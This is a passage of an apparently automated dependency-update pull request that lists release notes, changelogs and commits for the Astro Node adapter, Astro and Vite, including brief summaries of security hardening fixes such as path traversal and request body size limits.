href=\"https://github.com/withastro/astro/commit/d339a182b387a7a1b0d5dd0d67a0638aaa2b4262\"\u003e\u003ccode\u003ed339a18\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Stabilizes the adapter feature \u003ccode\u003eexperimentalStatiHeaders\u003c/code\u003e. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003eexport default defineConfig({\n  adapter: netlify({\n-    experimentalStaticHeaders: true\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/48e5c4d3518dbd82edff87fa628be9e46c9b21bf\"\u003e\u003ccode\u003e48e5c4d\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15808\"\u003e#15808\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/2ce9e7477e38bca3e13a9b6993125c798377dd50\"\u003e\u003ccode\u003e2ce9e74\u003c/code\u003e\u003c/a\u003e chore: update docs links (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15732\"\u003e#15732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/25560db01f1df5ffa51afd34cc94eaf3f8ec865f\"\u003e\u003ccode\u003e25560db\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15773\"\u003e#15773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/39ff2a565614250acae83d35bf196e0463857d9e\"\u003e\u003ccode\u003e39ff2a5\u003c/code\u003e\u003c/a\u003e Harden Node adapter HTTP server defaults and request body handling (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15759\"\u003e#15759\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/6414732a12a4dff3da224dfda56f0e26db0c98c4\"\u003e\u003ccode\u003e6414732\u003c/code\u003e\u003c/a\u003e Spelling (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15601\"\u003e#15601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/1567e8cc9153f4e8089b2d942ffb73c14cca8031\"\u003e\u003ccode\u003e1567e8c\u003c/code\u003e\u003c/a\u003e Normalize static file paths before evaluating dotfile access rules (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15763\"\u003e#15763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/02e24d952de29c1c633744e7408215bedeb4d436\"\u003e\u003ccode\u003e02e24d9\u003c/code\u003e\u003c/a\u003e Harden origin check port handling for consistency (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15777\"\u003e#15777\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/9b0def6ea1b20460874481cf8ccb575b6508636d\"\u003e\u003ccode\u003e9b0def6\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15758\"\u003e#15758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3885e8da45efccf735518a26f9ef23b7267d1c0f\"\u003e\u003ccode\u003e3885e8d\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15687\"\u003e#15687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/20b05c042bde561f53d47348fd4cb2ec478bca23\"\u003e\u003ccode\u003e20b05c0\u003c/code\u003e\u003c/a\u003e fix(node): harden static file handler path resolution (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15745\"\u003e#15745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/@astrojs/node@10.0.0/packages/integrations/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for \u003ccode\u003e@​astrojs/node\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `astro` from 5.13.10 to 5.18.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003eastro's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eastro@5.18.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/internal-helpers\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.6\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-remark\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.11\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/astro@5.18.1/packages/astro/CHANGELOG.md\"\u003eastro's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.18.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/internal-helpers\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.6\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-remark\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.11\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.18.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15589\"\u003e#15589\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/b7dd447e319a7b435c01ccd69347e5261bd9dc14\"\u003e\u003ccode\u003eb7dd447\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/qzio\"\u003e\u003ccode\u003e@​qzio\u003c/code\u003e\u003c/a\u003e! - Adds a new \u003ccode\u003esecurity.actionBodySizeLimit\u003c/code\u003e option to configure the maximum size of Astro Actions request bodies.\u003c/p\u003e\n\u003cp\u003eThis lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.\u003c/p\u003e\n\u003cp\u003eIf you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// astro.config.mjs\nexport default defineConfig({\n  security: {\n    actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB\n  },\n});\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15594\"\u003e#15594\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/efae11cef1ebe1f2f54ceb55db0d1ff1938351c6\"\u003e\u003ccode\u003eefae11c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/qzio\"\u003e\u003ccode\u003e@​qzio\u003c/code\u003e\u003c/a\u003e! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15564\"\u003e#15564\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8\"\u003e\u003ccode\u003e522f880\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15569\"\u003e#15569\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9\"\u003e\u003ccode\u003ee01e98b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Respect image allowlists when inferring remote image sizes and reject remote redirects.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/c13b536197a70d8d4fd0037c5bd3aaa2be0598b9\"\u003e\u003ccode\u003ec13b536\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Improves Host header handling for SSR deployments behind proxies\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15334\"\u003e#15334\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/d715f1f88777a4ce0fb61c8043cccfbac2486ab4\"\u003e\u003ccode\u003ed715f1f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - \u003cstrong\u003eBREAKING CHANGE to the experimental Fonts API only\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/434d9cc7eed62e6324bd922865f5c29136f3474c\"\u003e\u003ccode\u003e434d9cc\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15829\"\u003e#15829\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e fix(helpers): Backport remote patterns segments fix (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15828\"\u003e#15828\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/011f06106531419f27ce53d0641a3e6ef9db5108\"\u003e\u003ccode\u003e011f061\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/efae11cef1ebe1f2f54ceb55db0d1ff1938351c6\"\u003e\u003ccode\u003eefae11c\u003c/code\u003e\u003c/a\u003e fix: X-Forwarded-Proto rejected when allowedDomains includes protocol… (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15594\"\u003e#15594\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/751ccf06fab3f1f8e157873354f91f7282a5a1ca\"\u003e\u003ccode\u003e751ccf0\u003c/code\u003e\u003c/a\u003e Update actionBodySizeLimit changeset and make minor (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15600\"\u003e#15600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/b7dd447e319a7b435c01ccd69347e5261bd9dc14\"\u003e\u003ccode\u003eb7dd447\u003c/code\u003e\u003c/a\u003e make actionBodySizeLimit configurable (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15589\"\u003e#15589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea\"\u003e\u003ccode\u003ee0f1a2b\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15571\"\u003e#15571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8\"\u003e\u003ccode\u003e522f880\u003c/code\u003e\u003c/a\u003e Limit action request body size (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15564\"\u003e#15564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/436962a639ad7d606ed19c97b42d2466117e3fc4\"\u003e\u003ccode\u003e436962a\u003c/code\u003e\u003c/a\u003e chore: Upgrade Vite and esbuild (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15554\"\u003e#15554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9\"\u003e\u003ccode\u003ee01e98b\u003c/code\u003e\u003c/a\u003e Respect remote image allowlists (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15569\"\u003e#15569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/astro@5.18.1/packages/astro\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for astro since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 5.4.20 to 6.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.2\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.1\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.1/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.0\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.0/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.7\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.7/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.6\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.6/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.2 (2026-04-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003efe28e47\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22159\"\u003e#22159\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22163\"\u003e#22163\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003eca4da5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22161\"\u003e#22161\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.1 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e1114b5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20969\"\u003e#20969\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.4.0 (2025-10-15)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003eca6455e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20932\"\u003e#20932\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.7 (2025-10-14)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003ec59a222\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20940\"\u003e#20940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.6 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f\"\u003e0ab19ea\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: upgrade sirv to 3.0.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20735\"\u003e#20735\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0\"\u003ee11d240\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20735\"\u003e#20735\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: detect ts support via \u003ccode\u003eprocess.features\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20544\"\u003e#20544\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7d9922972b62329d37a71d4da5a4a382d0bf8a79\"\u003e7d99229\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20544\"\u003e#20544\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.5 (2025-05-05)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(ssr): handle uninitialized export access as undefined (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19959\"\u003e#19959\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fd38d076fe2455aac1e00a7b15cd51159bf12bb5\"\u003efd38d07\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19959\"\u003e#19959\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.4 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb\"\u003ec22c43d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(optimizer): return plain object when using \u003ccode\u003erequire\u003c/code\u003e to import externals in optimized dependenci (\u003ca href=\"https://github.com/vitejs/vite/commit/efc5eab253419fde0a6a48b8d2f233063d6a9643\"\u003eefc5eab\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19940\"\u003e#19940\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: remove duplicate plugin context type (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19935\"\u003e#19935\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/d6d01c2292fa4f9603e05b95d81c8724314c20e0\"\u003ed6d01c2\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19935\"\u003e#19935\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.3 (2025-04-24)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ignore malformed uris in tranform middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19853\"\u003e#19853\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e4d520141bcd83ad61f16767348b4a813bf9340a\"\u003ee4d5201\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19853\"\u003e#19853\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6b3fad02abd550bd7b79934ff92c58dbd7f33045\"\u003e\u003ccode\u003e6b3fad0\u003c/code\u003e\u003c/a\u003e release: v6.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003e\u003ccode\u003eca4da5d\u003c/code\u003e\u003c/a\u003e fix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003e\u003ccode\u003efe28e47\u003c/code\u003e\u003c/a\u003e fix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5487f4f641f70c47ea05fd101a4319897df048b3\"\u003e\u003ccode\u003e5487f4f\u003c/code\u003e\u003c/a\u003e release: v6.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e\u003ccode\u003e1114b5d\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/f12697c0f64b9a37196b9ab218a0911829d5b103\"\u003e\u003ccode\u003ef12697c\u003c/code\u003e\u003c/a\u003e release: 